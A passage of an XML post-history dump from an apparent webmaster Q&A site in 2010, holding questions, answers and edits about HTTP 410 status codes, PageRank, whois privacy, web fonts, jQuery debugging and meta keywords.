the discretion of the server owner.&#xD;&#xA;&#xD;&#xA;Then, keep the page with the item, but mention it is no longer enviable to inform the user.&#xD;&#xA;&#xD;&#xA;For help you in your status code choise, try to take a look at:&#xD;&#xA;&#xD;&#xA;- [List of HTTP status codes][2]&#xD;&#xA;- [Status Code Definitions of the RFC 2616][3]&#xD;&#xA;- [RFC 2616: Hypertext Transfer Protocol -- HTTP/1.1][4]&#xD;&#xA;&#xD;&#xA;Yes, I know, [status code are important for me][5] ^^&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html#sec10.4.11&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/List_of_HTTP_status_codes&#xD;&#xA;  [3]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html&#xD;&#xA;  [4]: http://tools.ietf.org/html/rfc2616&#xD;&#xA;  [5]: http://stackoverflow.com/questions/954894/hidden-features-of-http/4112833#4112833" />
  <row Id="10759" PostHistoryTypeId="5" PostId="5393" RevisionGUID="aa0b5aad-53b2-4838-8504-94cb0765a43c" CreationDate="2010-11-12T23:33:51.560" UserId="1253" Comment="added 404 characters in body; edited body" Text="**Users first!!!**  Catering to search engines instead of users is a recipe for failure.&#xD;&#xA;&#xD;&#xA;Good usability would be to redirect them to a page that explains that the product doesn't exist anymore and invite them to explore other related items. That way you don't lose the visitor due to a bad link or confusion. After all if they are following a link expecting one thing and are shown another it looks bad for you if you don't handle it properly.&#xD;&#xA;&#xD;&#xA;I don't know if 4xx pages pass PR as I haven't seen anything conclusive pertaining to that but if you do you can &quot;spread&quot; the PR that page has by linking to your home page and any other important pages you deem necessary. If you do lose that PR it isn't a big deal. The usability you gain far outweighs whatever benefit the PR offered.&#xD;&#xA;" />
  <row Id="10760" PostHistoryTypeId="2" PostId="5395" RevisionGUID="5add89f0-1653-4a51-9905-ad231e737e7c" CreationDate="2010-11-12T23:33:52.600" UserId="1757" Text="If a piece of content has been intentionally removed from the site, then naturally that page's PR will disappear. That's the appropriate behavior. PR represents votes from other users indicating that they believe that the linked page is valuable. So if the content they voted for has been removed, then naturally their votes should be discarded.&#xD;&#xA;&#xD;&#xA;Now, you *could* redirect the URL to another page to retain or harvest its PR. But unless that page has a similar replacement content, this would be a deceptive and unethical practice, akin to retroactive cloaking in a sense. It's basically the same as buying up a recently expired domain so you can receive its PR.&#xD;&#xA;&#xD;&#xA;If you want to remove valued content from your site, then you can't ethically hold on to the PR generated by that content. The correct thing to do would be to do as G. Qyy mentions, and use a `410` status code.&#xD;&#xA;&#xD;&#xA;However, you can still benefit from the links to the now-removed pages by setting up a 410 error page that directs users to similar content or your homepage. And if you had a good internal link structure, then the removed page would have been passing on its PR to other pages the entire time it was still up.&#xD;&#xA;&#xD;&#xA;**Note:** If this is a product that is simply out of stock, then you should leave the page up and just not allow users to add it to their shopping cart. Though they still might be allowed to add it to their wishlist or ask to be notified when the product is back in stock." />
  <row Id="10761" PostHistoryTypeId="5" PostId="5394" RevisionGUID="c470a294-c0e6-423e-a229-6c4ebde5c6d4" CreationDate="2010-11-12T23:39:48.013" UserId="2840" Comment="added 5 characters in body; added 1 characters in body; added 26 characters in body" Text="To my mind, it will make more sense [to use `410 gone` status code][1] in this case.&#xD;&#xA;&#xD;&#xA;&gt;The requested resource is no longer available at the server and no forwarding address is known. This condition is expected to be considered permanent. Clients with link editing capabilities SHOULD delete references to the Request-URI after user approval. If the server does not know, or has no facility to determine, whether or not the condition is permanent, the status code 404 (Not Found) SHOULD be used instead. This response is cacheable unless indicated otherwise.&#xD;&#xA;&#xD;&#xA;&gt;The 410 response is primarily intended to assist the task of web maintenance by notifying the recipient that the resource is intentionally unavailable and that the server owners desire that remote links to that resource be removed. Such an event is common for limited-time, promotional services and for resources belonging to individuals no longer working at the server's site. It is not necessary to mark all permanently unavailable resources as &quot;gone&quot; or to keep the mark for any length of time -- that is left to the discretion of the server owner.&#xD;&#xA;&#xD;&#xA;Then, keep the page with the item, but add a mention  to inform visitors that this item is definitely no longer available.&#xD;&#xA;&#xD;&#xA;For help you in your status code choices, try to take a look at:&#xD;&#xA;&#xD;&#xA;- [List of HTTP status codes][2]&#xD;&#xA;- [Status Code Definitions of the RFC 2616][3]&#xD;&#xA;- [RFC 2616: Hypertext Transfer Protocol -- HTTP/1.1][4]&#xD;&#xA;&#xD;&#xA;Yes, I know, [status code are important for me][5] ^^&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html#sec10.4.11&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/List_of_HTTP_status_codes&#xD;&#xA;  [3]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html&#xD;&#xA;  [4]: http://tools.ietf.org/html/rfc2616&#xD;&#xA;  [5]: http://stackoverflow.com/questions/954894/hidden-features-of-http/4112833#4112833" />
  <row Id="10762" PostHistoryTypeId="5" PostId="5391" RevisionGUID="0808bcf6-15db-4675-8126-73a61f03f6a2" CreationDate="2010-11-12T23:46:02.637" UserId="2558" Comment="Crossing out XML sitemap remarks, to calm down Jeff" Text="There's not much you can do about this.  There's a teensy bit you can do to help, but the problem is endemic to Google's index.&#xD;&#xA;&#xD;&#xA; - There isn't just one Google &quot;index;&quot; it's sharded. Pages with low PageRank appear in very few shards. Using `site:stackoverflow.com` forces your query onto a shard that has a larger fraction of your URLs indexed.  That explains the contradictory results you see: the search results are coming from different shards.&#xD;&#xA; - PageRank applies to *pages*, not domains.  Yes, really.  Since the StackOverflow home page has high PageRank, the home page can flow PageRank to other question pages, but if your home page doesn't link to this particular Question page, then the Question's effective PageRank is very low.&#xD;&#xA; - &lt;s&gt;You can also flow PageRank via your XML sitemap.  According to [this paper][1]:&#xD;&#xA;&#xD;&#xA; &gt; The root of the domain is assumed to contain an implicit link to the Sitemaps ﬁle. In  addition, the Sitemaps ﬁle is assumed to contain links to all of its URLs, either uniformly weighted or weighted by priority if this ﬁeld is provided. Over this augmented&#xD;&#xA;graph, PageRank can be calculated for every URL in the Sitemaps page.&lt;/s&gt;&#xD;&#xA;&#xD;&#xA; - StackOverflow doesn't link to every question on the site; it only links to a tiny minority of questions for a very brief period of time.  &lt;s&gt;Furthermore, it's my understanding that you guys even delete links from your sitemap, only linking to the most recent questions.&lt;/s&gt;  So many pages on the site receive no benefit from the home page's very high PageRank.&#xD;&#xA;&#xD;&#xA;So, you can help this problem a little bit by &lt;s&gt;making sure your XML sitemap is 100% complete (not just the newest questions, but ALL of them) and by&lt;/s&gt; making sure that every question page can be reached by a short chain of links starting from the home page.&#xD;&#xA;&#xD;&#xA;But even that won't always work; you can't reasonably expect *every* page on your site to have high PageRank.  In those cases, those pages will be crawled, but probably won't appear on a lot of shards, so Google won't always return them.&#xD;&#xA;&#xD;&#xA;Good luck!&#xD;&#xA;&#xD;&#xA;**EDIT:** Jeff hates sitemaps, so I updated this answer to make it easier for him to read.&#xD;&#xA;&#xD;&#xA;  [1]: http://www2009.org/proceedings/pdf/p991.pdf &quot;Sitemaps: Above and Beyond the Crawl of Duty&quot;" />
  <row Id="10763" PostHistoryTypeId="5" PostId="5394" RevisionGUID="f7e4ab46-a879-4abc-a48b-4ba3cf2dabff" CreationDate="2010-11-12T23:47:45.247" UserId="2840" Comment="added 44 characters in body" Text="To my mind, it will make more sense [to use `410 gone` status code][1] in this case.&#xD;&#xA;&#xD;&#xA;&gt;The requested resource is no longer available at the server and no forwarding address is known. This condition is expected to be considered permanent. Clients with link editing capabilities SHOULD delete references to the Request-URI after user approval. If the server does not know, or has no facility to determine, whether or not the condition is permanent, the status code 404 (Not Found) SHOULD be used instead. This response is cacheable unless indicated otherwise.&#xD;&#xA;&#xD;&#xA;&gt;The 410 response is primarily intended to assist the task of web maintenance by notifying the recipient that the resource is intentionally unavailable and that the server owners desire that remote links to that resource be removed. Such an event is common for limited-time, promotional services and for resources belonging to individuals no longer working at the server's site. It is not necessary to mark all permanently unavailable resources as &quot;gone&quot; or to keep the mark for any length of time -- that is left to the discretion of the server owner.&#xD;&#xA;&#xD;&#xA;Then, keep the page `http://...?id=XX` (don't delete the entry) with the item, but add a mention  to inform visitors that this item is definitely no longer available.&#xD;&#xA;&#xD;&#xA;For help you in your status code choices, try to take a look at:&#xD;&#xA;&#xD;&#xA;- [List of HTTP status codes][2]&#xD;&#xA;- [Status Code Definitions of the RFC 2616][3]&#xD;&#xA;- [RFC 2616: Hypertext Transfer Protocol -- HTTP/1.1][4]&#xD;&#xA;&#xD;&#xA;Yes, I know, [status code are important for me][5] ^^&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html#sec10.4.11&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/List_of_HTTP_status_codes&#xD;&#xA;  [3]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html&#xD;&#xA;  [4]: http://tools.ietf.org/html/rfc2616&#xD;&#xA;  [5]: http://stackoverflow.com/questions/954894/hidden-features-of-http/4112833#4112833" />
  <row Id="10764" PostHistoryTypeId="4" PostId="5376" RevisionGUID="aa0e0bb0-2d7f-4bc9-aa24-6b0f93ee712c" CreationDate="2010-11-12T23:58:49.873" UserId="2865" Comment="edited title" Text="SEO and Changeable-But-Optional URL's" />
  <row Id="10765" PostHistoryTypeId="2" PostId="5396" RevisionGUID="311e5b25-6a58-47c0-803f-e46be2f4c210" CreationDate="2010-11-13T00:19:36.637" UserDisplayName="user3198" Text="I am looking for a simple locking daemon which listens for clients over TCP and processes locking requests.&#xD;&#xA;&#xD;&#xA;I need to synchronize parallel PHP processes at MULTIPLE machines. E.g. one machine may say &quot;I lock the 'abcd' identifier from now and until my death&quot;, and if the second machine says the same &quot;lock 'abcd'&quot;, its request will be delayed until 'abcd' is released by the first machine. An identifier is also freed if obtaining process is accidently dies (when it dies, the disconnect happens, so locking daemon may process this disconnect as lock release).&#xD;&#xA;&#xD;&#xA;Note that memcached add() is not so good in this case, because it cannot handle unexpected disconnects (it is important: process may die in many cases unexpectedly and without a chance to free the lock; also the lock cannot be freed by timeout, because some of processes works for a long time). I need a daemon which keeps opened connections and cares about them.&#xD;&#xA;" />
  <row Id="10766" PostHistoryTypeId="1" PostId="5396" RevisionGUID="311e5b25-6a58-47c0-803f-e46be2f4c210" CreationDate="2010-11-13T00:19:36.637" UserDisplayName="user3198" Text="Simple locking daemon with API for PHP (or just simple API)?" />
  <row Id="10767" PostHistoryTypeId="3" PostId="5396" RevisionGUID="311e5b25-6a58-47c0-803f-e46be2f4c210" CreationDate="2010-11-13T00:19:36.637" UserDisplayName="user3198" Text="&lt;administration&gt;" />
  <row Id="10768" PostHistoryTypeId="2" PostId="5397" RevisionGUID="458a4b43-7d54-451a-bf46-2dcc15107d0a" CreationDate="2010-11-13T02:01:13.453" UserDisplayName="tinny" Text="Ive registered a lot of domains in the past and have always usually purchased the additional service to make them have private whois info (e.g. domains by proxy)&#xD;&#xA;&#xD;&#xA;Today I registered two new &quot;.co&quot; domains from godaddy. Im now trying to make these private registrations but it doesn't look like its possible.&#xD;&#xA;&#xD;&#xA;Its it possible to make &quot;.co&quot; domains have private whois info?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="10769" PostHistoryTypeId="1" PostId="5397" RevisionGUID="458a4b43-7d54-451a-bf46-2dcc15107d0a" CreationDate="2010-11-13T02:01:13.453" UserDisplayName="tinny" Text="Private registration of “.co” domains, is it possible?" />
  <row Id="10770" PostHistoryTypeId="3" PostId="5397" RevisionGUID="458a4b43-7d54-451a-bf46-2dcc15107d0a" CreationDate="2010-11-13T02:01:13.453" UserDisplayName="tinny" Text="&lt;domain-names&gt;" />
  <row Id="10772" PostHistoryTypeId="2" PostId="5399" RevisionGUID="2dd231d1-89ca-434b-be5d-a19546b22b3b" CreationDate="2010-11-13T02:04:40.260" UserDisplayName="Yann Ramin" Text="You generally are best off using &quot;Serif&quot; and &quot;Sans-Serif&quot;, which lets the operating system pick the user's (and probably best) font." />
  <row Id="10773" PostHistoryTypeId="2" PostId="5398" RevisionGUID="a9024726-2680-4284-8007-623f497ef94e" CreationDate="2010-11-13T02:02:14.427" UserDisplayName="user492888" Text="How to choose a font for a website that is readable,usable,authority ?" />
  <row Id="10774" PostHistoryTypeId="1" PostId="5398" RevisionGUID="a9024726-2680-4284-8007-623f497ef94e" CreationDate="2010-11-13T02:02:14.427" UserDisplayName="user492888" Text="How to choose a font for a website?" />
  <row Id="10775" PostHistoryTypeId="3" PostId="5398" RevisionGUID="a9024726-2680-4284-8007-623f497ef94e" CreationDate="2010-11-13T02:02:14.427" UserDisplayName="user492888" Text="&lt;web&gt;&lt;web-design&gt;&lt;des&gt;" />
  <row Id="10776" PostHistoryTypeId="17" PostId="5398" RevisionGUID="23c8a405-ff74-4bb0-9f7c-e57a9042f489" CreationDate="2010-11-13T03:02:25.920" UserId="-1" Comment="from http://stackoverflow.com/questions/4170537/how-to-choose-a-font-for-a-website" Text="" />
  <row Id="10777" PostHistoryTypeId="6" PostId="5398" RevisionGUID="3ce6a6ab-6ab1-4455-8c5b-553ac9cf900d" CreationDate="2010-11-13T03:29:17.767" UserId="1757" Comment="edited tags" Text="&lt;design&gt;&lt;fonts&gt;&lt;typography&gt;&lt;web-design&gt;" />
  <row Id="10778" PostHistoryTypeId="2" PostId="5400" RevisionGUID="8c2b09d2-5fe9-47bf-9192-cd63a02aee55" CreationDate="2010-11-13T03:32:43.367" UserId="1757" Text="Creating the typography for a website is part of the web design process. I recommend hiring a professional web designer to design your site for you." />
  <row Id="10779" PostHistoryTypeId="2" PostId="5401" RevisionGUID="a356d0da-b0ef-4b12-ad36-553fe207d315" CreationDate="2010-11-13T03:38:47.823" UserId="1757" Text="It's completely possible to change your whois info after registration, as long as your domain is unlocked. Any decent registrar will allow you to unlock and change your registration info to private if you want.&#xD;&#xA;&#xD;&#xA;Though you probably should have just gone with a different registrar that doesn't charge you extra to not spread your personal info all over the internet." />
  <row Id="10780" PostHistoryTypeId="2" PostId="5402" RevisionGUID="b6b697ad-5cbd-4cbd-897d-337bea14c245" CreationDate="2010-11-13T05:01:40.277" UserId="1064" Text="&lt;s&gt;Two&lt;/s&gt; Three things you need to look at (one related, one unrelated) from the FireFox error console&#xD;&#xA;&#xD;&#xA;&gt; (javascript) Error: uncaught&#xD;&#xA;&gt; exception: Syntax error, unrecognized&#xD;&#xA;&gt; expression:&#xD;&#xA;&#xD;&#xA;Unrelated but still worth correcting:&#xD;&#xA;&#xD;&#xA;&gt; Warning: Unexpected end of file while&#xD;&#xA;&gt; searching for selector. Source File:&#xD;&#xA;&gt; http://www.nu-living.com/ Line: 0&#xD;&#xA;&#xD;&#xA;... and:&#xD;&#xA;&#xD;&#xA;&gt; (parsing) Error: The stylesheet&#xD;&#xA;&gt; http://www.nu-living.com/css/about.css&#xD;&#xA;&gt; was not loaded because its MIME type,&#xD;&#xA;&gt; &quot;text/html&quot;, is not &quot;text/css&quot;. Source&#xD;&#xA;&gt; File:&#xD;&#xA;&gt; http://www.nu-living.com/info/search_results/?cx=017425724926122041548%253Avgp5w3d356w&amp;cof=FORID%253A9&amp;ie=UTF-8&amp;q=testing&amp;sa=Search&amp;siteurl=www.nu-living.com%252F Line: 0&#xD;&#xA;&#xD;&#xA;Also, is there a good reason you are including jQuery and related Javascript file references in the body of your HTML document?" />
  <row Id="10781" PostHistoryTypeId="2" PostId="5403" RevisionGUID="52517891-8a5c-440d-860d-05293aa52951" CreationDate="2010-11-13T05:10:23.983" UserDisplayName="Tim" Text="I am new to managing websites and just set up a personal website for myself.&#xD;&#xA;&#xD;&#xA;I had like to replace `404 Not Found Error` page, in the same way many websites do it. &#xD;&#xA;&#xD;&#xA;How do I go about it?" />
  <row Id="10782" PostHistoryTypeId="1" PostId="5403" RevisionGUID="52517891-8a5c-440d-860d-05293aa52951" CreationDate="2010-11-13T05:10:23.983" UserDisplayName="Tim" Text="Replacing the 404 Page Not Found error page" />
  <row Id="10783" PostHistoryTypeId="3" PostId="5403" RevisionGUID="52517891-8a5c-440d-860d-05293aa52951" CreationDate="2010-11-13T05:10:23.983" UserDisplayName="Tim" Text="&lt;website-features&gt;&lt;personal-website&gt;" />
  <row Id="10784" PostHistoryTypeId="5" PostId="5402" RevisionGUID="10565b32-8af1-4bba-b218-9e400c7b13b4" CreationDate="2010-11-13T05:11:40.550" UserId="1064" Comment="Further troubleshooting info and FireBug recommendation added" Text="&lt;s&gt;Two&lt;/s&gt; Three things you need to look at (one related, one unrelated) from the FireFox error console&#xD;&#xA;&#xD;&#xA;&gt; (javascript) Error: uncaught&#xD;&#xA;&gt; exception: Syntax error, unrecognized&#xD;&#xA;&gt; expression:&#xD;&#xA;&#xD;&#xA;Unrelated but still worth correcting:&#xD;&#xA;&#xD;&#xA;&gt; Warning: Unexpected end of file while&#xD;&#xA;&gt; searching for selector. Source File:&#xD;&#xA;&gt; http://www.nu-living.com/ Line: 0&#xD;&#xA;&#xD;&#xA;... and:&#xD;&#xA;&#xD;&#xA;&gt; (parsing) Error: The stylesheet&#xD;&#xA;&gt; http://www.nu-living.com/css/about.css&#xD;&#xA;&gt; was not loaded because its MIME type,&#xD;&#xA;&gt; &quot;text/html&quot;, is not &quot;text/css&quot;. Source&#xD;&#xA;&gt; File:&#xD;&#xA;&gt; http://www.nu-living.com/info/search_results/?cx=017425724926122041548%253Avgp5w3d356w&amp;cof=FORID%253A9&amp;ie=UTF-8&amp;q=testing&amp;sa=Search&amp;siteurl=www.nu-living.com%252F Line: 0&#xD;&#xA;&#xD;&#xA;Also, is there a good reason you are including jQuery and related Javascript file references in the body of your HTML document?&#xD;&#xA;&#xD;&#xA;**Update:** A problem on your homepage here:&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;      $('#breaking-news ul').newsticker();&#xD;&#xA;      $('#slideshow').cycle();&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;You should wrap all jQuery calls in `$(document).ready(function() { /* code */ });` to ensure the DOM is ready before you change things - otherwise you'll hit a Javascript error which may prevent other scripts from running.&#xD;&#xA;&#xD;&#xA;I would wager that this is what is happening with Google Custom Search - a problem with one of your other scripts is breaking script execution before the search script can run.&#xD;&#xA;&#xD;&#xA;You should debug your site to correct these problems - [FireBug][1] may help with this task.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://getfirebug.com/javascript" />
  <row Id="10785" PostHistoryTypeId="5" PostId="5402" RevisionGUID="592b94b2-3068-434d-8564-a5bc1bcfc69c" CreationDate="2010-11-13T06:06:19.503" UserId="1064" Comment="Clarified how jQuery works" Text="&lt;s&gt;Two&lt;/s&gt; Three things you need to look at (one related, one unrelated) from the FireFox error console&#xD;&#xA;&#xD;&#xA;&gt; (javascript) Error: uncaught&#xD;&#xA;&gt; exception: Syntax error, unrecognized&#xD;&#xA;&gt; expression:&#xD;&#xA;&#xD;&#xA;Unrelated but still worth correcting:&#xD;&#xA;&#xD;&#xA;&gt; Warning: Unexpected end of file while&#xD;&#xA;&gt; searching for selector. Source File:&#xD;&#xA;&gt; http://www.nu-living.com/ Line: 0&#xD;&#xA;&#xD;&#xA;... and:&#xD;&#xA;&#xD;&#xA;&gt; (parsing) Error: The stylesheet&#xD;&#xA;&gt; http://www.nu-living.com/css/about.css&#xD;&#xA;&gt; was not loaded because its MIME type,&#xD;&#xA;&gt; &quot;text/html&quot;, is not &quot;text/css&quot;. Source&#xD;&#xA;&gt; File:&#xD;&#xA;&gt; http://www.nu-living.com/info/search_results/?cx=017425724926122041548%253Avgp5w3d356w&amp;cof=FORID%253A9&amp;ie=UTF-8&amp;q=testing&amp;sa=Search&amp;siteurl=www.nu-living.com%252F Line: 0&#xD;&#xA;&#xD;&#xA;Also, is there a good reason you are including jQuery and related Javascript file references in the body of your HTML document?&#xD;&#xA;&#xD;&#xA;**Update:** A problem on your homepage here:&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;      $('#breaking-news ul').newsticker();&#xD;&#xA;      $('#slideshow').cycle();&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;You should wrap all jQuery calls in `$(document).ready(function() { /* code */ });` to ensure the DOM is ready before you change things - otherwise you'll hit a Javascript error which may prevent other scripts from running if jQuery hasn't had a chance to initialize the `$` variable.&#xD;&#xA;&#xD;&#xA;I would wager that this is what is happening with Google Custom Search - a problem with one of your other scripts is breaking script execution before the search script can run.&#xD;&#xA;&#xD;&#xA;You should debug your site to correct these problems - [FireBug][1] may help with this task.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://getfirebug.com/javascript" />
  <row Id="10786" PostHistoryTypeId="2" PostId="5404" RevisionGUID="e2912d6a-b23f-4006-84ea-27346a22fe14" CreationDate="2010-11-13T07:16:29.403" UserId="2213" Text="How many keywords can I put in my page for google spiders ?" />
  <row Id="10787" PostHistoryTypeId="1" PostId="5404" RevisionGUID="e2912d6a-b23f-4006-84ea-27346a22fe14" CreationDate="2010-11-13T07:16:29.403" UserId="2213" Text="How many keywords can I put in my page for google spiders" />
  <row Id="10788" PostHistoryTypeId="3" PostId="5404" RevisionGUID="e2912d6a-b23f-4006-84ea-27346a22fe14" CreationDate="2010-11-13T07:16:29.403" UserId="2213" Text="&lt;seo&gt;&lt;google&gt;&lt;keywords&gt;" />
  <row Id="10790" PostHistoryTypeId="2" PostId="5406" RevisionGUID="b1bbe252-329e-4460-8584-952256abab70" CreationDate="2010-11-13T08:46:00.657" UserId="2379" Text="Find a font that works with your overall design.  These days you can use a javascript framework to use any font you like (licsencing does apply).  I use SIFR to format fonts for my website.  I usually only use it for H1 - H2 tags and limit it to certian text. " />
  <row Id="10791" PostHistoryTypeId="2" PostId="5407" RevisionGUID="8595dad3-4784-4066-bae8-73d29219a70e" CreationDate="2010-11-13T08:48:56.330" UserId="2379" Text="It is because the iphone cannot use the standard FLASH player, therefore it defaults to the youtube app on your iphone. At that point the application wont know to go back to your site.  Another option is to embed videos in your site using the HTML 5 standard. &#xD;&#xA;&#xD;&#xA;Last i checked youtube was iteself doing an limited HTML5 trial on their site as they try to move away from the flash player.  I think you can try to embed one of their videos in HTML5 format.  " />
  <row Id="10792" PostHistoryTypeId="2" PostId="5408" RevisionGUID="bde9a028-2a42-4848-ba43-1ffd156b4f57" CreationDate="2010-11-13T08:53:02.427" UserId="2379" Text="You have to track outbound links to get more accurate information on what links are going to your fastspring subscription.  &#xD;&#xA;&#xD;&#xA;http://www.google.com/support/analytics/bin/answer.py?hl=en&amp;answer=55527&#xD;&#xA;the link above explains it a bit.&#xD;&#xA;&#xD;&#xA;Also, the Buynow.php script can be modified to track, if you put the google analytics code on there.  Put it there, and then a javascript redirect, would be a quick fix.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10793" PostHistoryTypeId="2" PostId="5409" RevisionGUID="bca3ea0e-c0ed-4703-b110-4dc0fefedd89" CreationDate="2010-11-13T09:38:53.793" UserId="3205" Text="I'm thinking of creating a family of websites which use the same engine, but target different topics.  &#xD;&#xA;Given the choice is it better to have somekeywords.com, somekeywords2.com or myotherwebsite/some-keywords, myotherwebsite/some-keywords2.  &#xD;&#xA;For example:&#xD;&#xA;stackexchange.com/stackoverflow&#xD;&#xA;stackexchange.com/askubuntu&#xD;&#xA;instead of&#xD;&#xA;stackoverflow.com  &#xD;&#xA;askubuntu.com  &#xD;&#xA;Thanks" />
  <row Id="10794" PostHistoryTypeId="1" PostId="5409" RevisionGUID="bca3ea0e-c0ed-4703-b110-4dc0fefedd89" CreationDate="2010-11-13T09:38:53.793" UserId="3205" Text="Given the choice is it better to have somekeywords.com, somekeyword2.com or myotherwebsite/some-keywords, myotherwebsite/some-keywords" />
  <row Id="10795" PostHistoryTypeId="3" PostId="5409" RevisionGUID="bca3ea0e-c0ed-4703-b110-4dc0fefedd89" CreationDate="2010-11-13T09:38:53.793" UserId="3205" Text="&lt;seo&gt;&lt;keywords&gt;" />
  <row Id="10796" PostHistoryTypeId="2" PostId="5410" RevisionGUID="10c0a0e2-825c-4fb6-befc-ff34873a14b6" CreationDate="2010-11-13T12:19:37.977" UserId="2840" Text="If you speak about meta keywords, it's very a secondary consideration for you SEO.&#xD;&#xA;&#xD;&#xA;But try to avoid repetitions/synonyms&#xD;&#xA;&#xD;&#xA;Take much care about the content of your `&lt;title&gt;` tag, and all words you use in the headings tags (`&lt;h1&gt;`, `&lt;h2&gt;`, ...)&#xD;&#xA;&#xD;&#xA;You can also have a lot of precious guidance here:&#xD;&#xA;&#xD;&#xA;- [Search Engine Optimization (SEO)][1]&#xD;&#xA;- [Webmaster Guidelines][2]&#xD;&#xA;- [Keyword stuffing][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=35291&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?answer=35769&#xD;&#xA;  [3]: http://www.google.com/support/webmasters/bin/answer.py?answer=66358" />
  <row Id="10797" PostHistoryTypeId="5" PostId="5410" RevisionGUID="7b450de9-9a6c-4ff0-b2a1-bc04804bdcff" CreationDate="2010-11-13T12:27:18.397" UserId="2840" Comment="added 124 characters in body; deleted 41 characters in body; added 42 characters in body" Text="If you speak about meta keywords: **0**&#xD;&#xA;&#xD;&#xA;[Google does not use the keywords meta tag in web ranking][1]&#xD;&#xA;&#xD;&#xA;Take much care about the content of your `&lt;title&gt;` tag, all words you use in the headings tags (`&lt;h1&gt;`, `&lt;h2&gt;`, ...), and the quality of the content of your page.&#xD;&#xA;&#xD;&#xA;You can also have a lot of precious guidance here:&#xD;&#xA;&#xD;&#xA;- [Search Engine Optimization (SEO)][2]&#xD;&#xA;- [Webmaster Guidelines][3]&#xD;&#xA;- [Keyword stuffing][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/09/google-does-not-use-keywords-meta-tag.html&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=35291&#xD;&#xA;  [3]: http://www.google.com/support/webmasters/bin/answer.py?answer=35769&#xD;&#xA;  [4]: http://www.google.com/support/webmasters/bin/answer.py?answer=66358" />
  <row Id="10798" PostHistoryTypeId="5" PostId="5410" RevisionGUID="26008bc0-8fbc-4c8a-a670-fbf93c184029" CreationDate="2010-11-13T12:33:35.460" UserId="2840" Comment="added 4 characters in body" Text="If you speak about meta keywords: **0**&#xD;&#xA;&#xD;&#xA;[Google does not use the keywords meta tag in web ranking][1]&#xD;&#xA;&#xD;&#xA;Take much care about the content of your `&lt;title&gt;` tag, all the words you use in the headings tags (`&lt;h1&gt;`, `&lt;h2&gt;`, ...), and the quality of the content of your page.&#xD;&#xA;&#xD;&#xA;You can also have a lot of precious guidance here:&#xD;&#xA;&#xD;&#xA;- [Search Engine Optimization (SEO)][2]&#xD;&#xA;- [Webmaster Guidelines][3]&#xD;&#xA;- [Keyword stuffing][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/09/google-does-not-use-keywords-meta-tag.html&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=35291&#xD;&#xA;  [3]: http://www.google.com/support/webmasters/bin/answer.py?answer=35769&#xD;&#xA;  [4]: http://www.google.com/support/webmasters/bin/answer.py?answer=66358" />
  <row Id="10799" PostHistoryTypeId="5" PostId="5394" RevisionGUID="80eb6175-f60a-4930-bd98-ba5b6c1dfd4e" CreationDate="2010-11-13T12:38:49.247" UserId="2840" Comment="deleted 145 characters in body" Text="To my mind, it will make more sense [to use `410 gone` status code][1] in this case.&#xD;&#xA;&#xD;&#xA;&gt;The requested resource is no longer available at the server and no forwarding address is known. This condition is expected to be considered permanent. Clients with link editing capabilities SHOULD delete references to the Request-URI after user approval. If the server does not know, or has no facility to determine, whether or not the condition is permanent, the status code 404 (Not Found) SHOULD be used instead. This response is cacheable unless indicated otherwise.&#xD;&#xA;&#xD;&#xA;&gt;The 410 response is primarily intended to assist the task of web maintenance by notifying the recipient that the resource is intentionally unavailable and that the server owners desire that remote links to that resource be removed. Such an event is common for limited-time, promotional services and for resources belonging to individuals no longer working at the server's site. It is not necessary to mark all permanently unavailable resources as &quot;gone&quot; or to keep the mark for any length of time -- that is left to the discretion of the server owner.&#xD;&#xA;&#xD;&#xA;Then, keep the page `http://...?id=XX` (don't delete the entry) with the item, but add a mention  to inform visitors that this item is definitely no longer available.&#xD;&#xA;&#xD;&#xA;For help you in your status code choices, try to take a look at:&#xD;&#xA;&#xD;&#xA;- [List of HTTP status codes][2]&#xD;&#xA;- [Status Code Definitions of the RFC 2616][3]&#xD;&#xA;- [RFC 2616: Hypertext Transfer Protocol -- HTTP/1.1][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html#sec10.4.11&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/List_of_HTTP_status_codes&#xD;&#xA;  [3]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html&#xD;&#xA;  [4]: http://tools.ietf.org/html/rfc2616" />
  <row Id="10800" PostHistoryTypeId="2" PostId="5411" RevisionGUID="662319d9-c318-417e-b4fd-358ce8468d76" CreationDate="2010-11-12T10:33:04.717" UserDisplayName="Ari Ira Pournaras IV" Text="Currently my site &quot;site.com&quot; is tracking sales from the UK&#xD;&#xA;&#xD;&#xA;Can i create another instance in analytics in order to track all the users from Europe without creating a subdomain (site.com/eu)&#xD;&#xA;&#xD;&#xA;Is this possible??" />
